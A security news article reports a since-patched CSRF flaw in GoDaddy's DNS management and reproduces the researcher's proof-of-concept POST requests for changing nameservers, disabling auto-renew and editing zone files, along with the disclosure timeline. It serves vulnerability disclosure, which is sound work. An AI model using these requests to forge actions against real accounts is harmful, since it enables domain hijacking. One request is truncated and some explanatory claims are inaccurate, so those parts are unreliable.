GoDaddy patches CSRf vulnerability that could have comprised hosted sites

GoDaddy has patched a CSRF vulnerability that could have allowed attackers to take over domains registered with GoDaddy

While Dylan Saccomanni was managing an old domain on registered on GoDaddy, he noticed that the domain did not have any protection against cross-site request forgery (CSRF) vulnerability on many of their domains. This loophole was so severe, that an attacker could have used it to take over the entire domain and the victim (domain buyer) will not even know what happened. The vulnerability has since been patched.

Flaw in DNS

Saccomanni said that he noticed the flaw in GoDaddy’s DNS management actions. The DNS management actions on GoDaddy website are state-changing POST requests (no CSRF token in request body or headers, and no enforcement of Referer or Content-Type).

POST requests that the server accept the entity enclosed in the request as a new subordinate of the web resource identified by the URI. The data POSTed might be, for example, an annotation for existing resources; a message for a bulletin board, newsgroup, mailing list, or comment thread; a block of data that is the result of submitting a web form to a data-handling process; or an item to add to a database. A POST request is used to send data to the server to be processed in some way, like by a CGI script. A POST request is different from a GET request in the following ways:

  • There’s a block of data sent with the request, in the message body. There are usually extra headers to describe this message body, like Content-Type: and Content-Length:.
  • The request URI is not a resource to retrieve; it’s usually a program to handle the data you’re sending.
  • The HTTP response is normally program output, not a static file.
    The most common use of POST, by far, is to submit HTML form data to CGI scripts.

POST messages, ironically are meant to provide security to the request.

Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated.

GoDaddy however had no security in place so Saccomanni could easily exploit the vulnerability. Saccomanni said that, “In fact, you could edit nameservers, change auto-renew settings and edit the zone file entirely without any CSRF protection in the request body or headers. ”

Proof of Concept (PoC)

The PoC given by Saccomanni is reproduced below :

Nameservers

Here is the POST request for saving an edit to nameservers:

POST /dcc50/Modals/DomainActions/NSManageWS.asmx/ValidateNameserver HTTP/1.1
Host: dcc.godaddy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 175
Cookie: [REDACTED]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

{‘request’:'{“isall”:false,”nsobjs”:[{“ns”:”foo.example.com”,”ips”: [],”index”:0,”add”:1,”status”:””}, {“ns”:”bar.example.com”,”ips”: [],”index”:1,”add”:1,”status”:””}]}’}

Auto-Renew

Here is a POST request for changing auto-renew to OFF:

POST /dcc50/Modals/DomainActions/AutoRenewWS.asmx/Commit HTTP/1.1
Host: dcc.godaddy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Cookie: [REDACTED]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

{‘request’:'{“isAutoRenew”:false,”isExtendedAR”:false,”extARYears”:0}’}

DNS Zone File

Here is a POST request to edit DNS records on the classic manager:

POST /ZoneFile_WS.asmx/SaveRecords HTTP/1.1
Host: dns.godaddy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 922
Cookie: [REDACTED]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

{“sInput”:”< PARAMS >< PARAM name=\”domainName\” value=\”[REDACTED]\” >< PARAM name=\”zo

Patch

The timeline for the disclosure is

01/17/15 – Initial discovery and attempt to reach GoDaddy security.
01/18/15 – Further attempts to reach GoDaddy security, finally received word there was no timeline for a fix.
01/19/15 – GoDaddy implemented CSRF protection for sensitive account actions.

Saccomanni said that he tried to reach out to the GoDaddy security team but could not do so, “(I) tried security@ and noc@ email addresses, also tried calling support. Eventually I reached someone through Twitter from @GoDaddyHelp. I was told there was no timeline for a fix.”

However now the vulnerability has been patched.

Delwyn Pinto
Delwyn Pinto
A person proud to have an alternate view

LEAVE A REPLY

Please enter your comment!
Please enter your name here

Read More

Suggested Post